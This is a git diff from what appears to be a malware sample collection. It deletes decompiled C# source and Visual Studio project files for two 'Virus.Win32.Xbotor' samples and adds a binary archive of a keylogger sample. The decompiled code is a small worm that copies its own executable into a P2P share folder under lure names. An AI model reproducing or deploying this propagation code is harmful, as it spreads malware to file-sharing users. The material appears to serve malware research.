b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/p2pdotnet.cs deleted file mode 100644 index 2cbece72..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/p2pdotnet.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: p2pdotnet -// Assembly: p2p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 92129E77-F6EE-43FE-93E4-918DA5687A83 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea.exe - -using System.IO; -using System.Reflection; - -internal class p2pdotnet -{ - public static void Main() - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - Directory.CreateDirectory("\\P2P"); - string[] strArray = new string[4] - { - "dotnethack.exe", - "xboxdotnetemulator.exe", - "linuxdotnet.exe", - "dosdotnet.exe" - }; - foreach (string str in strArray) - { - try - { - File.Copy(module.FullyQualifiedName, "\\P2P\\" + str); - } - catch - { - } - } - } -} diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/AssemblyInfo.cs b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.csproj b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.csproj deleted file mode 100644 index e911e5cb..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {F616B861-DA85-41A1-B381-0DFAE63146F9} - Exe - p2p - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.sln b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.sln deleted file mode 100644 index 804fb5ef..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "p2p", "Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5.csproj", "{F616B861-DA85-41A1-B381-0DFAE63146F9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F616B861-DA85-41A1-B381-0DFAE63146F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F616B861-DA85-41A1-B381-0DFAE63146F9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F616B861-DA85-41A1-B381-0DFAE63146F9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F616B861-DA85-41A1-B381-0DFAE63146F9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/p2pdotnet.cs b/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/p2pdotnet.cs deleted file mode 100644 index 10334a0c..00000000 --- a/MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/p2pdotnet.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: p2pdotnet -// Assembly: p2p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 92129E77-F6EE-43FE-93E4-918DA5687A83 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5.exe - -using System.IO; -using System.Reflection; - -internal class p2pdotnet -{ - public static void Main() - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - Directory.CreateDirectory("\\P2P"); - string[] strArray = new string[4] - { - "dotnethack.exe", - "xboxdotnetemulator.exe", - "linuxdotnet.exe", - "dosdotnet.exe" - }; - foreach (string str in strArray) - { - try - { - File.Copy(module.FullyQualifiedName, "\\P2P\\" + str); - } - catch - { - } - } - } -} diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ajb.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ajb.7z new file mode 100644 index 0000000000000000000000000000000000000000..77e9a1e0ec7bc887284fed278fc68b2882e9b5bd GIT binary patch literal 47534 zcmZ^}V{|6Z7cCsy#>Ac^PbRjVOl;e>lZiF4ZQHhObS(5D*X;kjpky6-Dfz4n9Z_kQluGEFd6)w$2t#03)YE^$o{`UnoA; zzrO_+peb?D(2s>Ir1UdGq|K%N6lVE1BiDDyiWpBws49l;PPp$Ryg;f>BT^#{*uyeA ztgFYls)>8Knt1U0eK;Q@S@=`+r#jq>1yKm!A;cFK(kTw={T5>jAKl zHJdc+v^V^;yN)mT0ZEoXeG+YVmOh&EgHm6Ia{Dj%5oC=)jOmm=$=LLa;jOvd?Hopm zw5)|_5fq&lhNUgV> zWD0pAZY0E;u#jBCv%YlVwJndH4&hM`hP*hrB0o~^sonVpMrJh;P6YuO7SGI|qV>5< z17gTE9FcJOXz4pPbg6RNGCP;d$BBI+k#7CVn0*(HLxAHuF_Ypn9frbQ(b9Wqv>DA@ z38OhHUjKukeC`zfOd69~i9%tFhmf5p6m{D&8y8|c{b`Kw&nU33cl+R)8X8 zJ>o+EP=mVu5Q(&-2~dVi_kbEJ(`ejdJ^CEFl+WzV?yRvN@yPcI3#mX`X+QsAkj+dB- z6|?5b2M}hjCG+#;bHFU=FEonur~Fc3d=kH`amo)_hdeEYEr!#FR~j;_ z-RcYiAbx}Ea=7@v|9Q69QkmD$xVf}1sEbvcdlx6-bIwu78u5*P@+WEH%@BQY zfNPU*;EpteK4XCUk!$-$nY{R6kFf`NGi&ME+Wqh%iF&?^T=ktLR&liIk}5q|eV08X zsgv|c0%1-CEeRZ0il}44_t|MQ-eE1Q^DFiNj;6|LZh_Jqfvk5QO594zws9r8rMdRQ!!PH*GsA-YVZr5#Uu8B zw01*8*U~&y6mqoK|w$iz(7Ed z|BJCsP9`>n)*h0!rgr~AZB(p`)Sv)L@H4nmC}l;f#L1uonlnWNS1u{#w3xPYJ8ha{ z{M9VKQ1k(=HjM5lEskHDd58uE#$rW{Zr4hQnVGyQ`T5^q%Fd8_C|iZGz*FO2jN=wa zM>D;Wk%&R?7J?OQ;GchT>Q4`nalvI2+};mvDmvz+IBb2c5w3Cd61;k-=GaBD%?Ij2uPv?=>NV_ zVs?%;jQ?KUh0coWoft~@45tV5kOhYWOnm97a-a-@tF|J9rhuS?dT{ccVcRI#AtqBi zh=QxXnGWus`#KugAF(tPIZ%9D3%=7ak)iRYw0MTS9CV3XjoDty*qlDNER0d$Z3xrX?%^7nkgozk(x7(L*C(xn1qNaSFv>63_ z95?c)vJ63ZVAVw(XYws5>%>nTa}U+ZI8oys1j2mW68)7C^|8f&bBlixw5o?u(=2kt zai;CygqH@o@S_xTQlqpH9Tq9)gc;I_ws*M;kvi5ejPlYXN4OS{4~rXZbtfK3N=dnT zaL%U~h7$rY-wc?jYI>gDteVTr1C0)~HM~2E%c*&V*&n+xyOn-xDKf{GJw%s;G*n30 z2u4x!8Y+%nW6EH#U2DNFknVTY0RC2^PL-c9DLgAVMX<~|FDQB*3C5F5?VNv|E82X^ zB&jE=?M4*-2(yasmhzOnBrIG_FZw$sSgqkqF-01}XAsvkw#ntr&JspWWI9G8rje6o zJ7OQJ>nD>iJeVoL>saWk=Xd$OqPO2#@`EwSU+k|H*tY<9Qjepq+@@~dqw*LFXUm8K zQCp5|{sat52ooe!b>b4MwBnzv^D3)}kJSPXsb^v@$~ZxL zK+ig8!4b{Hyd%(^?wADL-FTPB7&V42TSQk=ejmD5mU;BV=?b6yb$?5wmP(ea6m99q z=1>fecI8l07f0^gdAy{imEqjQ<+p^cXdImkD0WX31u7BHnO9Op#{OR;Sz$^fRhYKTv!2QK_1Hg+X;!7F$avk9@hus=32? z{9K|kE)lVa2{4m%;b!Q;D78RClmJA;{Ho^BNMtgNKRz$pjg{qGNjZbJGd{c?PV+Td zOcV7GDw&iBKDeMvuW8b|Yg@17O*J)i9`^@4?0T*ZpYq1dOW4L(aEY6NVQ)B>s31`;SswU1w|RhXqpMb9h1uYwNBGxP z^f6jCEoLP2=`vScH`(;L;jB~Ta(kA>Y<)`Dq*cBGd0n4Ti_dv+I82sPm#45W^xa*v znZ7A|vWQzVNp`I*YCFb>jYQAYsdH{=xJolq)}lft-rPG)(WoK#;qcMf``IK)md0vn zs8t`k()ljArvbes>zpe~5r51?rd$@A5@>}SStaX~YN(I5CYk5w9DBDCmPr2I>m!!}fkl~n1=Qbk{b?rr+Zh#F6C8Gg-Q zR&y<2>HLTZY!#2o!b+oih8=Gxv2X>kgP&nAT?5LzQYDk`uO}?H)al$=i|1aZ!Xq-U zh_J|!UL}+AeCkVo)l<9nEq=Bu`b2O0X@i~NGL#`aGojo1m*zHUQdD^%ex&mica$ty zxh$?nI&yv-cNcowG8XcJcm-iw%pJmb_2Yc^tKuwE%Y;;ZYP5z^Rvbl9L+g3r~Cp%A9BMx?eHQPf>;u~PI~)q8eT z_`tQ8X16{&;nE0ag$VbYxo;i|)ZE6Wli+9mymWmjm8+}T&@#l$%o!$$=|lQzoC{=7;qui;}eZ7 zXS;BlxaI(UemUdY3p8G@2Kxqz<@Ar`%Bh=Dg+N2FQh5*u%N_3)%Nfc{zMeL>go`{1w zkghgnk$L4-)7hd}SQ{BwWm>gI!9Mr|uBr&4l$*+G#(gtNj3tvz~B)pV5 zd%~4#RX?d5_^!I$UEh~Jr6oOH#~j}?(;@$j4_pXW+r}97ny0jWtE3O1cZbheH5N$~ zi*{#<1Z$2@?-!KHd`k`E`m<^7EH@RtMn@oR)_}GXi65iSX(Q|#n}oY?W6}zuWI}4Y z%>xV_T4A55f^X_h6Bni4Xh0SRf#tYOa*7xIoK~b4ia1tpUKicGd=NjR=tlwd72dnM zoz2=&kh!CV=1DVV{%z<)#bpnsypCG#_ABibIG<2aO|NfZzK{x7pvh{G7`WJ?q^=Fx zEOmM*;;I4Zm=WeM?=|fccj}mS|k>}!hrF+Qg+E~D5SohlDQVE z$?X&}luo(f7sVwu(sqyJNe79y9#`c^9U?*8Wwg2*ugu@L2&JwWka2BO&a}B(+*Y_ z)&WFOS&sTu%4A*$!_qerA_(9q=X<|mnxUQBdvByoIT*jgTQwikK)pSRr4U^st#70| z*~t%|*aXxD_WInMMk{0A#9}3;NtMe)j|xx1x?;HJF0@1ygj z17aTR6fq@n+GJ&OC&{>nwzehc1oR~c4c^5D45f}E_h*%M#Y#rZYi*b8Z&8|uo_@u$ zPH7G~Z-jfb4Nkk$WeeqJjnVgRzsw2Qpx1S>g;l`+VjBK*7;>z-l+1fwTyF467VbMP zeqCGMq@xO)k-6`xYD->PR}?U zy;-v$>}KVjXxnvK==8O+Egl#!D`^K?`JiJ6n~`-wu5L@qM*SzmtliMiN%2o8ruE3w zL;jzTox{}BUHLyDzy0)#LyOxs3%*fS_J#MohJ_yqR<6n7!^g#(v@4r*3{f*OPWsht zG48fV?79OsZXiZlBUE3s%cd6=x&{MYgCGQ=DC{uS_|6!_?V$P@c?BShs$Wyga17JN zd<73^_@>RcTyU|QAV2Cv#8DOTA)4vAwmnJlgUFsvID&v+Yiy?+0YIcR*Z&L6{{hO{ z(|>>#vs${3;_GF+QMM1`TVT9V{tqg63~Qo=Tc;cwcpO~cRTYYAE$5kcZi(Zu4B1vE zCO#k2dM+2!uxMLuGYn*?aax3QOG|_|B5N8=J#3q#7(454JRRvq51~8Aj7YVz2}WHuS`O=l`54BhTE~0k4+}Al9^c}rGP6;Nx$_+4LbeX-88UxeP#gb^8M-K zIiqJB?8oLb-r}RyTJ3ho(xL#PKiMYfa#lksq7H`LJu=Xkd&;zX{i}FkoINK;3k8cO z5Y5MTTLhM$zlO~yJEx)9pjXiqbK&ztd&NMZ7)9bX*%rIj7fdd@fyK!+nHC&;yHa%^ zWrrZd&WcqV(-xE?vm+F54X{b{DXxC|7@|$he~s!^g_Qj%Etaf?J1v=fVC?Y7YKPN~ z3RWGX(WpV~VHD~qj%|H87XmOoY|9&q$3MJSg;hb+VYy$)B%j!s%g2Ow1ee(NHWXks`D3J><|(t~)|#Nd4Vq z%$n%CQLp~fSBbg)d}{jjjH_uDG-)M!3~-x=1~(qWCH`h^64Y9UY`Pt{G@59;&f?FI znr;@elkg;ixrPtMKoq-;K<`>xw2?ttTmNa(gXPqYD2iri*QVom?ce|d>yONb<{vsS zF>&vD<_hWIn}8zYWQnkvlg6;FyNvsqUzatV;?APiiH(4sUj!>YFXE{wbH;kv{Ioi) zxvoRXRwEt7%@1YDZocXSP~`MB%kQZFqP&~agu~!ywIBHy@nQ&yId#Z;S-#8_F7pKm zqdoo5Y-gChWdrZCU8UI~tYeSR4s3kIKS`eU05htKvhGXiN~V2tTwz>~ro~PyzKXTW z9TYAtMILg!1J}iEw_bqyDOSy*@~7 z-c_1^^K4!IDG-aH<4-Q?zt|1dm|$}Lr6$_~-(-4-Kyg;Pdm%DU_*1aXq~D*ufKXG* z!Xd@3nHc2=fkKtwMF5&aXl}Q6eNJ|O^Jijtm2129^l__f_=M~DrR=?PQz8p`CA7BF zJWW+K-ff9jN+{eN24o9;krTWqq-?a{COi8RAFp(MR=tTdgg;oTN%}JJZa`j4ODu8e z)}KTaC*L{>p~A2*!Z7>0%fay+NZcZUVd_}=jV&u@%aSV@xd{{!Auy{&Q~)G*RgJi4GlwKV|j4|dBtUbOWleSo_2(F zF_EfzgHl0BB{qR7wUoasEaR~=dWXnA zFYRRGF3I&AGt647Dd4?HeB8dk*)j+Y_Ery(XV|DMWR5;KQ;+`oUJZ9zSqLD#|1Bq@ zvgX9@dU?gBc?H%Nb93^o>#NHIw{^C0)n~3M{*qGoHLN@fZ|6#-aH)CU9~!Qpzqcq^ zZ6Cc0u8(Lu1y`FC}b za&?;2hS_SO`I6M@@Wb@^7yqJydo8+Hhs`DoPK;(N*2l5k-wezL$KfsLBt>*NM4yytFaTP`>P zAYas_3pox*W=t0SV%pxD(kASnS?%?N&y@@%-=2H2UJ*2wzt(eoSJiGQm5{x%cKDi- zz7Y}#uLX7fFhJW@L#|_(&TBm)ZkIio|gQ!EwZV+ulf

y@1Lp4Vh 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 